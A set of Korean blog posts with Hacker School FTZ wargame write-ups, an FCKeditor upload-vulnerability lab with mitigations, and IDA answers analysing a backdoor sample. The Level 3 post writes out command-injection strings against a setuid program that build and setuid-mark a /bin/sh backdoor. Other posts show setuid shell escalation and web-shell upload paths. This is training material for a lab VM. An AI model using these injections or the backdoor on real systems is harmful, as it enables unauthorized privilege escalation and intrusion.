"id" 명령어는 해당 프로그램이 종료된 이후에 cmd상에서 실행된다는 결론을 내렸습니다.

이와같은 문제점을 해결하려면 system() 함수에 id명령어까지 들어가야 한다는 소리인데,

이를 해결하려면 인자값들을 쌍따옴표("")로 묶어주어 SETUID가 걸린 system() 함수에서 실행되게 만들어야 합니다.

즉, 아래와같이 실행될겁니다.

- system(dig @168.126.63.1; id; #version.bind chaos txt)

     (중략)

 

id값이 Level4로 나왔습니다.

좀더 깔끔한 해킹을 위해서 sh 명령어를 넣어주면 Level4의 쉘을 얻을 수 있고

아래와 같이 my-pass 명령어를 이용하여 다음레벨 패스워드를 얻을 수 있습니다.

 

 

---------------------------------------------------------

03. 보너스

---------------------------------------------------------

위의 방법에는 매번 autodig를 이용하여 level4의 권한을 얻어야 한다는 번거로움이 있습니다.

따라서 Level1과 같이 백도어를 만들어 놓으면 편리합니다.

라인수를 줄이기 위해 DNS 서버 IP는 127.0.0.1로 지정하고

아래와 같은 내용을 넣습니다.

------------------------------------------------

int main(){

char *cmd[2];

cmd[0] = \"/bin/sh\";

cmd[1] = (void *)0;

setreuid(3004,3004);

execve(cmd[0], cmd, cmd[1]);

}

------------------------------------------------

 

위 내용을 한줄로 표현하면 아래와 같습니다.

처음엔 한줄에 다 적어보려다가 Segmentation fault가 나서 세줄로 바꿨습니다.

(복사해서 커맨드에 마우스 우클릭하면 붙여넣기가 됩니다.)

 

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'int main(){char *cmd[2];cmd[0]=\"/bin/sh\";' > /tmp/superBackdoor.c; #( > : 파일출력 )

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'cmd[1]=(void *)0;setreuid(3004,3004);' >> /tmp/superBackdoor.c; #" ( >> : 이어쓰기 )

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'execve(cmd[0],cmd, cmd[1]); };' >> /tmp/superBackdoor.c; #( >> : 이어쓰기 )

 

만들어진 파일은 아래와 같이 컴파일 합니다.

[level3@ftz level3]$ /bin/autodig "127.0.0.1; gcc -o /tmp/superBackdoor /tmp/superBackdoor.c; #"

ls

------------------------------------------------------------------------------------------------

Tip. 파일삭제

적다가 실수가 나서, 파일을 지우려고 했더니 그것도 권한이 필요하다고 하더군요..ㅜ

[level3@ftz level3]$ /bin/autodig "127.0.0.1; rm /tmp/superBackdoor.c; #"

------------------------------------------------------------------------------------------------

 

파일을 실행하고 id 명령어를 입력하면 아직 Level3인것을 볼 수 있습니다.

아직 SUID를 설정하지 않았기 때문이라고 합니다.

 

 

SUID를 설정해주고 다시 실행하면 Level4의 쉘을 얻을 수 있습니다.

[level3@ftz level3]$ /bin/autodig "127.0.0.1; chmod 6755 /tmp/superBackdoor; #

 

 

---------------------------------------------------------

04. 마치며

---------------------------------------------------------

system() 함수의 기능을 이용한 문제였습니다.

유닉스계열 OS에 대해 잘 알아야 취약점도 발견할 수 있음을 다시 깨닫게 됩니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level2 풀이  (0) 2016.07.21
해커스쿨 FTZ Level1 풀이  (0) 2016.04.25
posted by Red_Message
2016. 7. 21. 18:56 :: 문제풀이/Hacker School

 

 ||| Chapter 02 :: 해킹의 시작 |||

 

 

안녕하세요. Message입니다.

Lv1 끝내고 또 손을 놔버렸네요...달려야겠습니다.

이번 챕터는 제목이 인상적이네요..ㅎㅎ

 

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

Level2에 접속하여  hint 파일을 열어봅니다. 

ID/PW : level2 / hacker or cracker

 

텍스트 파일 편집이라고 하니 VI편집기를 말하는것 같습니다.

VI편집기로 쉘의 명령을 실행시킬 수 있을까요?

 

 

Tip. VI편집기의 "명령어 실행" 기능

VI텍스트편집기에서 저장하고 나오기 위해 무심코  :wq!  명령어를 사용해왔습니다.

하지만 여기서 아래와 같이  :!명령어  를 입력하면 어떻게 될까요? 

 

바로 아래와 같이 잠시 VI텍스트편집기를 빠져나와서 해당 결과를 보여줍니다.

 

이후에 엔터를 치면 다시 VI편집기로 돌아오게됩니다.

 

또한 여기서 r를 덧붙여서  :r!명령어  를 입력하면 아래와 같이 결과값을 VI편집기에 추가할 수 있습니다. 

 

유닉스시스템은 CLI기반이기 때문에 문서를 편집하다가 시스템으로 되돌아가

다른 작업을 해야 할 경우 문서를 닫고 나갔다가 다시 되돌아와야 한다는 번거로움이 있습니다.

그래서 이와 같은 "명령어 실행" 기능이 존재하는 것입니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

Level1에서 사용했던 find 명령어를 이용하여 Level3의 setuid를 가진 파일을 찾아봅니다.

--------------------------------------------------------------------------

옵션1)  -perm +6000  -->  setuid or setgid가 걸린 파일 찾기

옵션2)  -user level3    -->  level3의 권한

옵션3)   2> /dev/null  -->  에러제거 옵션

--------------------------------------------------------------------------

해당 옵션을 이용하여 검색한 결과는 아래와 같습니다.

Permission을 확인해보면 SUID가 설정되어 있음을 확인할 수 있습니다  :  -rwsr-x---

 

찾아낸 파일을 실행해보면 아래와 같은 메세지를 볼 수 있습니다.

일반적인 VI 편집기로 보입니다.

VI편집기에서 사용되는 명령어 몇가지를 입력해 보니 정상동작합니다.

 

하지만 실행파일의 이름이 vi가 아닌 editor이므로 실제 vi가 맞는지 확인해보겠습니다.

특정명렁어의 위치를 찾아주는 명령어는  which  입니다.

 

해당 경로를 통해서 editor와 vim파일의 크기를 비교해보면 서로 다른 파일임을 알 수 있습니다.

vi와 vim까지 확인합니다.

 

vim이나 vi 파일에 링크를 걸어서 사용한 것도 아니며, 오히려 크기가 더 작습니다.

하지만 editor를 동작시키면 VI편집기임이 분명합니다.

그렇다면 해당 editor에서 id 명령어를 쳐보고 어떤 결과를 리턴하는지 살펴보면

아래와같이 Level3의 id가 찍히는 것을 알 수 있습니다.

 

공격방법을 알았으니  :!my-pass  명령어를 editor에서 실행시켜 다음 레벨의 비밀번호를 알아냅니다.

 

완전히 쉘을 따서 지속적인 Level3의 권한을 얻고싶다면  !sh  명령어를 이용하면 됩니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

03. GDB 이용한 상세분석

------------------------------------------------------------------------------------------------------------------------------------------

 

GDB를 이용하여 ExcuteMe 파일의 상세 동작원리를 분석합니다.

 

1) GDB 실행

아래 옵션들을 이용하여 gdb를 실행시킵니다.

------------------------------------------------------------------------------------------------------------------------

옵션1)  실행 시 출력되는 도움말을 생략  -->  -q

옵션2)  AT&T 어셈블리어 명령어를 intel 어셈블리어 명령어로 변경  :  set disassembly-flavor intel

------------------------------------------------------------------------------------------------------------------------

 

 

2) 흐름파악

disas main의 출력결과를 통해 프로그램의 실행 흐름을 파악할 수 있습니다.

---------------------------------------------------------------------------------------------------------------------

① 스택을 구성한다

setudi(3003,3003)을 이용해 실행되는 파일의 User ID 권한을 Level3 계정으로 설정

system() 함수를 이용해 VI 편집기를 실행한다. 즉 Level3의 권한으로 VI편집기를 실행

---------------------------------------------------------------------------------------------------------------------

 

 

3) 주요 함수 분석

 

① setuid

함수에 push 되는 인자값들을 x/s 명령어를 이용하여 살펴보면,

0xbbb(3003)을 넣어줍니다. 즉, setuid(3003, 3003)을 의미하는 것이며

이것은 실행되는 파일의 User ID 권한을 Level3 계정으로 설정하는 것을 의미합니다.

Tip. UID란?

시스템 내에서 사용자를 식별할 수 있는 유일한 값입니다. GID는 UID들이 소속되어 있는 그룹ID 입니다.

 

system

system() 함수에 들어가는 인자값을 찍어보니 "/bin/vi" 입니다.

setuid를 설정하고 나서 system함수로 vi를 실행하는 것이 해당 파일의 핵심이었습니다.

 

 

---------------------------------------------------------

04. 마치며

---------------------------------------------------------

 

VI 편집기에서 명령어 실행이 가능한 부분을 이용한 문제였습니다.

하나씩 알아가는 재미가 있네요 ㅎㅎ

감사합니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level3 풀이  (1) 2016.07.21
해커스쿨 FTZ Level1 풀이  (0) 2016.04.25
posted by Red_Message
2016. 4. 25. 19:58 :: 문제풀이/Hacker School

 

 ||| Chapter 01 :: 백도어란 무엇인가? |||

 

안녕하세요. Message입니다.

시스템해킹에 대해서 배우고자 해커스쿨의 FTZ를 이용한 문제풀이를 포스팅하려 합니다.

Unix 계열 운영체제는 잠시 손을 놓으면 어색해지지만... 이번 기회를 통해 다시 친숙해지려 합니다.

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

 

------------------------------------------------------------------------------------------------------------------------------------------

00. 준비

------------------------------------------------------------------------------------------------------------------------------------------

 

무언가 하려고 하면 항상 환경 세팅에서 진이 빠지는 경우가 많은듯 합니다.

저같은 경우 한글깨짐 현상과 telnet 접속 시 자꾸 오류가 발생하더군요.

 

1) 한글깨짐

만약 한글이 깨진다면 아래와 같이 putty의 translation 속성을 Use font encoding을 바꿔줍니다.

 

2) Telnet 접속 안될 때

FTZ서버에 ping은 가지만 Telnet 접속이 안되더군요

방화벽과 백신도 꺼보고, 기능추가에서 telnet 활성화도 해보고.. 로컬 환경도 구축해봤지만 안됐습니다.

그래서 Telnet 접속을 포기하고 22번 포트로 SSH 접속했습니다. 실습하는데 지장은 없으니

안되시는 분들은 이렇게라도...

 

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

Level1에 접속하여 주어진 문제환경을 파악합니다.

1개의 파일과 2개의 폴더가 존재합니다.

 

레벨마다 주어지는 hint 파일의 내용을 확인합니다.

hint 파일의 내용은 아래와 같고, Level2 권한에 setuid가 걸린 파일을 찾는 내용입니다.

Tip. SETUID

setuid가 설정되면 소유자가 아니더라도 실행 시 일시적으로 소유자의 권한으로 실행됩니다.

파일을 실행할 때 사용자의 UID를 사용하는 것이 아니라 파일의 inode 정보로부터 파일 소유자의 UID를 받아서 실행합니다. 

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

무언가를 찾는 명령어는 find 입니다.

하지만 우리가 찾는 파일은 setuid가 걸린 파일이므로 -perm 옵션과 -user 옵션을 사용합니다.

옵션1  :  -perm +6000  -->  setuid or setgid가 걸린 파일 찾기

옵션2  :  -user level2    -->  level2 or level1의 권한

해당 옵션을 이용하여 검색한 결과는 아래와 같습니다.

 

 

하지만 오류가 많이 떠서 한번에 식별하기가 어렵습니다.

검색 결과 중에서 에러가 발생한 결과를 제외하는 옵션 2> /dev/null을 사용해줍니다.

여기서 숫자 2는 표준에러(STDERR)를 뜻하고, /dev/null은 휴지통을 뜻합니다. (에러를 휴지통에 슝~)

해당 옵션을 사용한 결과는 아래와 같습니다.

 

파일의 허가권(Permission)과 소유권(Ownership)을 살펴보면 주목해야할 점이 있습니다.

1) 허가권 : SUID가 설정되어 있으므로 해당 파일을 실행하면 파일의 소유자 권한으로 실행됩니다 --> -rwsr-x---

2) 소유권 : 그룹 Level1이 해당 파일을 소유하므로 Level1인 우리도 저 파일을 실행시킬 수 있습니다. -rwsr-x--- 1 level2 level1

정리하면, 우리는 저파일을 실행시킬 수 있으며 실행시킬경우 Level2의 권한으로 실행할 수 있다는 점입니다.

 

찾아낸 파일을 실행해보면 아래와 같은 메세지를 볼 수 있습니다.

 

my-pass와 chmod는 제외하라고 되어 있으므로, bash 명령어로 Level2의 권한을 획득합니다.

그럼 1회성 권한이 아닌, 지속적인 Level2 권한으로 원하는 행위를 할 수 있습니다.

FTZ에서 제공하는 my-pass명령어를 이용하여 Level2의 암호를 알아냅니다.

답 : hacker or cracker

 

 

Tip. PERM의 플러스(+), 마이너스(-) 차이

find 명령어의 perm 옵션에 달린 플러스(+)와 마이너스(-)의 차이는

입력하는 숫자에 해당하는 퍼미션을 완벽하게 만족하느냐? 아니면 일부만 만족해도 되느냐? 입니다.

이해하기 어려우니 해커스쿨에 있는 글에 따라 저도 테스트해보았습니다.

먼저 아래와 같이 touch 명령어를 이용하여 7개의 파일을 만듭니다.

그리고 ls -al 명령어로 퍼미션을 확인합니다.

 

이후 마이너스(-) 옵션으로 find 명령어를 수행하면

아래와 같이 300옵션에 해당하는 wx(쓰기, 실행) 권한이 모두 설정되어 있는 파일만 검색이 되었습니다.

한마디로 깐깐한 검색이 되겠죠.

 

이후 플러스(+) 옵션으로 find 명령어를 수행하면

아래와 같이 300옵션에 걸려있는 w(쓰기), x(실행) 권한중 한개라도 설정되어 있으면 검색이 됩니다.

한마디로 너그러운(?) 검색이 되겠네요.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

03. GDB 이용한 상세분석

------------------------------------------------------------------------------------------------------------------------------------------

 

원래 bash쉘을 획득하여 my-pass를 알아내면 다음 단계로 넘어가지만,

GDB를 이용하여 ExcuteMe 파일의 상세 동작원리를 분석합니다.

 

1) GDB 실행

아래 옵션들을 이용하여 gdb를 실행시킵니다.

------------------------------------------------------------------------------------------------------------------------

옵션1)  실행 시 출력되는 도움말을 생략  -->  -q

옵션2)  AT&T 어셈블리어 명령어를 intel 어셈블리어 명령어로 변경  :  set disassembly-flavor intel

------------------------------------------------------------------------------------------------------------------------

 

2) 흐름파악

disas main의 출력결과를 통해 프로그램의 실행 흐름을 파악할 수 있습니다.

system 함수로 명령어를 실행

chdir 함수로 디렉터리를 이동

printf 함수로 문자열을 출력

fgets 함수를 이용한 사용자 입력

strstr 함수를 이용하여 금지문자열과 입력 받은 사용자 문자열 비교 : my-pass, chmod

금지명령어가 아닌경우 실행 루틴으로 이동

setreuid(3002, 3002) 함수를 이용해 실행되는 파일의 User ID 권한을 Level2 계정으로 설정

system 함수를 이용해서 입력받은 문자열을 리눅스의 명령어로 실행

 

 

3) 주요 함수 분석

① printf

disas main 명령어를 이용하여 아래로 내려가다 보면 printf 함수가 많이 나옵니다.

내용은 아까 우리가 보았던 "레벨 2의권한으로 당신이 원하는...." 을 화면에 찍는 용도입니다.

마지막 printf 함수에 push 되는 인자값들을 x/s 명령어를 이용하여 살펴보면,

아래와 같이 level2의 쉘처럼 "[level2@ftz level2]$" 를 프린트 하는것을 볼 수 있습니다.

한마디로 실제 쉘이 아니라, 프로그램이 의도적으로 printf 한 내용이라는 것을 알 수 있습니다.

 

setreuid + system

프로그램의 마지막 부분을 보면 setreuid와 system 함수를 볼 수 있습니다.

setreuid 함수에 들어가는 인자값은 UID와 GID값이고, 둘다 0xbba(3002) 입니다.

 

3002는 Level2의 UID값입니다. 참고로 Level1은 3001입니다.

해당사항은 id명령어나 /etc/password 를 확인하면 알 수 있습니다.

Tip. UID란?

시스템 내에서 사용자를 식별할 수 있는 유일한 값입니다. GID는 UID들이 소속되어 있는 그룹ID 입니다.

 

 

4) 결과정리

정리하면, setreuid 함수를 이용하여 Level2의 권한을 획득한 뒤, 

뒤에 따라나오는 system 함수를 실행하는 것이 프로그램의 주요 기능입니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level3 풀이  (1) 2016.07.21
해커스쿨 FTZ Level2 풀이  (0) 2016.07.21
posted by Red_Message
2016. 4. 20. 19:19 :: 취약점

안녕하세요 Message입니다.

실습환경은 Windows7 / APM / Chrome 입니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

1. FCKeditor란?

------------------------------------------------------------------------------------------------------------------------------------------

FCKeditor는 게시판 에디터입니다.

거의 모든 브라우저에서 사용 가능한 에디터로서, 글작성 / html편집 /표삽입 등이 가능합니다.

현재 FCKeditor는 3.x 대로 업그레이드 되면서 CKeditor로 변경되었으나,

아직 많은 곳에서 FCKeditor를 사용하고 있습니다.

공식사이트 : http://ckeditor.com

FCkeditor 2.6.11 Ver : http://sourceforge.net/projects/fckeditor/files/

 

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 취약점 발생 원인

------------------------------------------------------------------------------------------------------------------------------------------

취약점이 발생하는 이유는 FCKeditor에서 제공되는 페이지관리 또는 파일업로드 기능때문입니다.

해당 기능을 사용할 수 있는 페이지에 적절한 보안조치가 이루어지지 않으면

웹쉘이 업로드되거나 홈페이지의 많은 정보가 노출될 수 있습니다.

 

아래 그림은 FCKeditor 2.6.11 버전의 기본 경로입니다.

아래처럼 connectors 폴더의 test.html 파일이나, browser\default폴더의 browser.html 파일등이 

관리되지 않고 그대로 유지되거나, 또는 파일명이 변경되지 않고 웹서버에 올라갈 경우

웹쉘을 업로드하고, 웹서버를 탐색하는 용도로 사용될 수 있습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

3. 간단실습

------------------------------------------------------------------------------------------------------------------------------------------

1) APMSETUP or 웹서버

APMSETUP을 이용하여 실습환경을 구성했습니다. (설치방법은 매우 간단하니 생략)

Visual Studio 등으로 웹어플리케이션 프로젝트 생성도 무방할 것 같으나,

제 PC에 이미 APM이 설치되어 있어서 빠른 결정....^^;

설치후 정상동작을 확인해줍니다.

 

2) 웹서버에 FCKeditor 설치

상단의 FCKeditor 2.6.11을 다운로드 후

C:\APM_Setup\htdocs\fckeditor 경로에 압축을 풀어줍니다.

압축해제 후 C:\APM_Setup\htdocs\fckeditor\_samples\default.html 페이지에 접속하여 아래와 같은 창이 뜨면 성공입니다.

 

3) 업로드 페이지 접속

fckeditor/editor/filemanager/connectors/test.html에 접속하면

파일을 업로드할 수 있는 아래와 같은 페이지가 뜨게됩니다.

Connector를 PHP로 변경해주고, 파일선택 후에 업로드를 시도해봅니다.

보안설정 때문에 아마 정상동작하지 않을겁니다.

 

4) 설정변경

파일업로드를 시도하면 아래와 같은 보안설정 오류가 발생합니다.

실습을 위해서 fckeditor\editor\filemanager\connectors\php\config.php 파일의 설정을 변경해야 합니다. (+삽질지수 증가)

 

아래와 같이 설정을 Config['Enabled'] 설정을 false에서 true로 바꿔줍니다.

 

하지만 이후에도, 아래와 같은 오류창이 발생합니다.

파일확장자에 대한 제한이 걸려 있어서 발생하는 오류입니다.

 

파일확장자를 jpg 등으로 우회해서 올리거나

아래와 같이 HTML확장자 제한과 관련된 Config['HtmlExtensions'] 옵션과

파일확장자 제한과 관련된 Config['AllowedExtensions']['File'] 옵션에 html 확장자를 추가해줍니다.

 

 이후에는 아래와 같이 정상적으로 파일이 업로드 되는 것을 확인할 수 있습니다.

 

파일이 업로드 되는 경로는 Config['UserFilesPath'] 옵션에 적혀 있는 경로입니다.

따로 변경하지 않을 경우 아래와 같이 htdocs/userfile/ 경로에 파일이나 폴더가 생성됩니다.

 

5) 웹쉘업로드

파일업로드가 정상적으로 된다면, 아래와같이 웹쉘이 업로드되어 홈페이지의 정보가 유출될 수 있습니다.

웹쉘은 구글링을 하시면 쉽게 얻으실 수 있습니다.

 

6) 기타 취약한 경로들

버전이나 홈페이지마다 다를 수 있지만, 취약한 기본적인 경로는 아래와 같습니다.

- /FCKeditor/editor/filemanager/browser/default/connectors/test.html

- /FCKeditor/editor/filemanager/browser/default/browser.html

- /FCKeditor/editor/filemanager/upload/test.html

 

------------------------------------------------------------------------------------------------------------------------------------------

4. 대응방안

------------------------------------------------------------------------------------------------------------------------------------------

1) 샘플파일 또는 테스트파일을 삭제하거나 관리자 외 접근할 수 없도록 접근제어 방안을 마련합니다.

2) 서버에서 파일의 실행권한을 제거합니다.

3) IPS와 같은 보안솔루션을 이용하여 파일업로드 또는 웹쉘 업로드를 차단합니다.

 

 

마무리

FCK취약점으로 실제 어떻게 파일이 업로드 되는지 실습해보고자

환경을 구축하고 웹쉘을 업로드 해보았습니다.

읽어주셔서 감사합니다.

 

posted By Message.

Commit your way to the LORD, trust in him and he will do this. [PSALms 37:5]

posted by Red_Message

#1 : http://redscreen.tistory.com/66

#2 : http://redscreen.tistory.com/67

#3 : http://redscreen.tistory.com/68

#4 : http://redscreen.tistory.com/71

 

------------------------------------------------------------------------------------------------------------------------------------------

10. 0x1000FF58에서 서브루틴으로 수백 라인은 문자열을 비교하기 위한 일련의 memcmp 비교다.

      robotwork와 문자열 비교가 성공적으로 이뤄지면 무슨 일이 일어나는가? (memcmp가 0을 반환)

------------------------------------------------------------------------------------------------------------------------------------------

일단 문제에서 주어진 문자열 "robotwork"를 찾습니다.

Strings window에서 검색기능을 이용하여 robotwork를 찾습니다.

 

해당 문자열은 xdoor_s 섹션에 있고,

상호참조 리스트를 이용하여 어디서 사용되고 있는지 확인합니다. (정말 좋은 기능이네요..)

 

다른 memcmp 함수와 동일하게 사이즈, 사용자입력값, 비교문자열 3가지 인자를

push하고 memcmp를 호출합니다.

memcmp는 두 비교문자열이 같으면 0을 결과값으로 반환합니다.

test eax eax 명령어를 수행해여 

1) 결과값 0 반환 -->  (문자열이 같음)  -->  ZF=1 세팅  -->  loc_10010468 Jump

2) 결과값 0 아님 -->  (문자열이 다름)  -->  ZF=0 세팅  -->  loc_100052A2 Jump  (다음 문자열 비교)

 

문자열이 "robotwork"와 동일하면 loc_10010468으로 점프하게 되므로 

계속 트레이싱 하며 따라가면 아래와 같은 어셈블리 코드가 나옵니다.

코드가 갑자기 길어져서 한번에 파악하기는 힘들지만,

아래부분에 분홍색 RegOpenKeyExA API와 push되는 레지스트리 관련 문자열이 가장 눈에 확 들어옵니다.

 

RegOpenKeyExA API는 성공하면 ERROR_SUCCESS(0) 을 반환하고, 핸들키값을 넘겨줍니다.

1) API 호출에 성공  -->  test eax eax 명령어를 통해 0이 반환되며, loc_10005309로 Jump (오른쪽)

2) API 호출에 실패  -->  RegCloseKey API와 함께 종료 (왼쪽)

2번 케이스의 경우, Graph overview에서 독보적인 빨간색 화살표와 함께 서브루틴이 끝나는 것을 볼 수 있습니다.

 

1번 케이스의 경우, 아래와 같은 loc_10005309 서브루틴을 실행합니다.

역시 루키라 한번에 파악은 절대 안됩니다 OTZ...

분홍색의 RegQueryValueExA, sprintf, atoi 등의 API들이 가장 잘 보이고,

파란색의 API 인자값들이 눈에 띕니다. 

가장먼저 실행되는 RegQueryValueExA는 먼저 나온 RegOpenKeyExA, RegCloseKey와 세트로 등장하는 API입니다.

Syntax는 아래와 같으며, 해당 함수를 실행하기 위해 lpValueName "WorkTime"을 포함한 6개의 인자를 push하고

ebx에 저장해두었던 RegQueryValuesExA 함수를 call 하는 부분을 위의 어셈블리 코드에서 볼 수 있습니다. 

 

만약 여기서 함수 호출에 실패하면 loc_10005379로 Jump하게 되는데,

lpValueName값을 "WorkTimes" 로 변경해서 호출합니다.

어쨋든, WorkTime 또는 WorkTimes의 값을 얻게 되면

atoi값을 이용하여 int형태로 변경한 뒤 sprintf 함수를 이용하여 지정된 형식대로 문자열을 만듭니다  --> [Robot_WorkTime : %d]

이후 sub_100038EE로 분기하여 sned 함수로 값을 전송합니다.

답 : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion에 있는 WorkTime or WorkTimes 레지스트리 값을 전송

 

Tip. 인자(argument) vs 매개변수(parameter)

알고도 매일 까먹고 구분없이 포스팅하고 있었습니다..

인자값은 함수 호출 시 넣어주는 값을 말합니다  -->  Func("argument");

매개변수는 전달된 인자를 받아들이는 값입니다 --> void Func(char* parameter)

 

------------------------------------------------------------------------------------------------------------------------------------------

11. PSLIST 익스포트는 무슨 역할은 하는가?

------------------------------------------------------------------------------------------------------------------------------------------

PSLIST는 export window에서 찾을 수 있습니다.

 

해당 익스포트로 가보면 아래와같은 어셈블리 코드가 나옵니다.

 

초반에 또다른 서브루틴 sub_100036C3을 호출합니다.

호출 결과에 따라 test eax, eax로 인해 loc_1000705B로 Jump합니다.

즉, 값이 0이라면 앞뒤 볼것도 없이 종료라는 뜻인데, 왜그런지는 살펴봐야 합니다.

 

Tip. 서브루틴 미리보기

이러한 sub문이 나올때마다 넘어가서 이해하고 다시 돌아왔었는데

함수에 마우스를 대고 드래그로 아래를 내리니 sub문이 미리보기 형식으로 나오는 편리한 기능이 있더군요 (+삽질지수 감소)

 

내용을 보니 GetVersionExA API를 이용하여 얻어낸 구조체 VersionInformation으로 두가지 비교를 수행합니다.

1) dwPlatformId 비교

내용은 문제 9번에서 비교한 내용과 같으며, 윈도우즈 계열 플랫폼인지 확인합니다.

2) dwMajorVersion 비교

dwMajorVersion과 5를 CMP 명령어로 비교합니다.

여기서 dwMajorVersion의 의미를 알고자 MSDN에서 제공하는 표를 가져왔습니다.

운영체제 버전마다 값이 정해져 있고, 가장 낮은 버전이 5입니다. (Windowx Server 2003을 포함한 4개의 운영체제)

CMP명령어에 의해 왼쪽값(dwMajorVersion)이 5보다 낮으면 (표에 있는 운영체제보다 더 낮은 버전의 OS일 경우)

loc10036FA로 Jump하게 될것이고 더 이상의 연산을 수행하지 않고 leave명령어를 수행합니다.

Jump 하지 않는다면, 1을 리턴하고 종료합니다.

 

-----------------------------------------------------------------------------------------------------------------------------

Tip. SUB vs LOC

분석중에 갑자기 의문점을 느껴 검색해보았습니다. SUB와 LOC로 시작하는 함수들의 차이가 무엇인가...

1) 공통점 : 프로그램의 흐름이 바뀐다는 것

2) 차이점 : SUB 호출은 retn값이 있지만 LOC의 경우 retn이 없으므로 ByeBye

참고로 short은 짧은 곳으로의 Jump 라고 합니다.

이런거 하나하나 알아가게 되면서 리버싱 속도가 1~2초라도 빨라지는거 같아 재미있네요 ㅎㅎ;

-----------------------------------------------------------------------------------------------------------------------------

 

 ------------------------------------------------------------------------------------------------------------------------------------------

12. 그래프 모드를 이용해 sub_10004E79 상호 참조 그래프를 그려보자.

      이 함수에 진입하기 위해 호출하는 API함수는 무엇인가?

      해당 API 함수에만 기반을 두고 이 함수를 어떤 이름으로 변경하겠는가?

------------------------------------------------------------------------------------------------------------------------------------------

G 기능을 이용하여 sub_10004E79 주소로 넘어갑니다.

문제에 나온대로 상호 참조 그래프를 그리기 위해 [View > Grapgs > Xrefs From] 을 클릭합니다.

그러면 아래와 같은 그래프가 나옵니다.

 

위 상호참조 그래프 기능으로 인해 sub_10004E79 함수가

GetSystemDefaultLangIDSend를 호출함을 쉽게 알 수 있습니다.

해당 함수가 네트워크 소켓을 통해 언어 식별자를 전송할 가능성이 있음을 알려주므로,

함수명을 오른쪽 클릭해 send_languageID와 같은 의미 있는 이름을 붙여줍니다.

(책에 나와서 하는거지만...이런게 고수들의 좋은 습관이자 노하우 아닐까요?)

 

또한 해당 함수를 호출하는 과정을 알아보기 위해

sub_10004E79를 클릭하고 Ctrl+X 를 눌러 호출하는 곳으로 가보았습니다.

"language" 명령어를 이용하여 호출함을 확인합니다.

 

다음 포스팅에서 계속됩니다!

posted by Red_Message

#1 : http://redscreen.tistory.com/66

#2 : http://redscreen.tistory.com/67

#3 : http://redscreen.tistory.com/68

#4 : http://redscreen.tistory.com/71

 

------------------------------------------------------------------------------------------------------------------------------------------

7. Strings 윈도우를 이용해 디스어셈블리 내의 문자열 \cmd.exe /c를찾아보자. 어디에 있는가?

------------------------------------------------------------------------------------------------------------------------------------------

View > Open Subviews > Strings 를 선택하여 해당 문자열을 찾습니다. (Shitft + F12)

맨 아래부분에서 발견 가능하고, 더블클릭하면 섹션과 주소값을 알아낼 수 있습니다.

답 : xddors_d 섹션 / 0x10095B34

 

 

------------------------------------------------------------------------------------------------------------------------------------------

8. \cmd.exe /c를 참조하는 코드 영역에서 무슨 일이 발생하는가?

------------------------------------------------------------------------------------------------------------------------------------------

해당 메소드가 어떤 기능을 하는지 알아내기 위해 해당 문자열을 더블클릭합니다.

이후에 문자열의 주소를 클릭하고 상호참조 리스트를 호출합니다. (Ctrl+X)

결과는 아래와 같이 단 한곳에서 호출함을 알 수 있습니다.

gethostbyname처럼 여러군데에서 호출되지 않으니

한군데만 확인하면 어떤 기능을 하는지 확인할 수 있다는 단서를 제공합니다.

 

또한 해당 코드영역을 더 살펴보면

"Hi, Master..."

"Welcome Back...."

"Encrypt Magic Number For This Remote Shell Session..."

등등의 백도어에서 원격 접속 시 사용될 것 같은 문자열이 있습니다. 

 

CMD창을 이용하여 명령어를 입력할 가능성이 있음을 기억해둡니다.

그리고 아까 상호참조를 타고 그래프 뷰로 넘어가서 화살표를 따라 쭉쭉 내려가면

"quit", "exit", "cd" 와 같은 문자열과 함께 memcmp 함수를 발견할 수 있습니다. 

 

책에서 memcmp를 볼 수 있을거라고 매우 쉽게 설명되 있지만, 

저는 아직 숙련되지 않기도 했고, 그래프가 크게 느껴져서  삽질을 좀 많이

빨간색(FALSE), 초록색(TRUE), 파란색(무조건) 화살표의 의미를 생각하며 그래프를 타고 내려가면

그래프 오버뷰의 중간 부분에서 memcmp가 반복 됩니다.

CMD에서 명령어를 입력할때마다 memcmp함수로 어떤 명령인지 비교하는 코드겠구나..라는 생각이 들었습니다.

답 : 원격 세션 생성

 

 

------------------------------------------------------------------------------------------------------------------------------------------

9. 같은영역 0x100101C8에서 dword_1008E5C4는 경로를 지정하는 전역 변수로 보인다.

    악성코드는 어떻게 dword_1008E5C4를 설정하는가? (힌트 : 상호참조 이용)

------------------------------------------------------------------------------------------------------------------------------------------

주어진 x100101C8 주소로 넘어가면 dword_1008E5C4값이 나옵니다.

 

해당 전역변수를 더블클릭하면 .data 섹션으로 넘어가게 되는데,

그곳에서 상호참조 리스트를 확인하면 아래와 같이 3가지가 나옵니다.

 

전 포스팅에서 살펴보았듯이 R Type은 읽기만 할뿐이고,

수정하는 부분은 맨위의 W Type 하나뿐이므로, 해당 부분을 살펴보면 어떻게 무슨값을 설정하는지 알 수 있겠군요.

OK를 누르고 해당 주소지로 이동하면, 아래와 같이 sub_10003695의 리턴값인 EAX를 이용하여

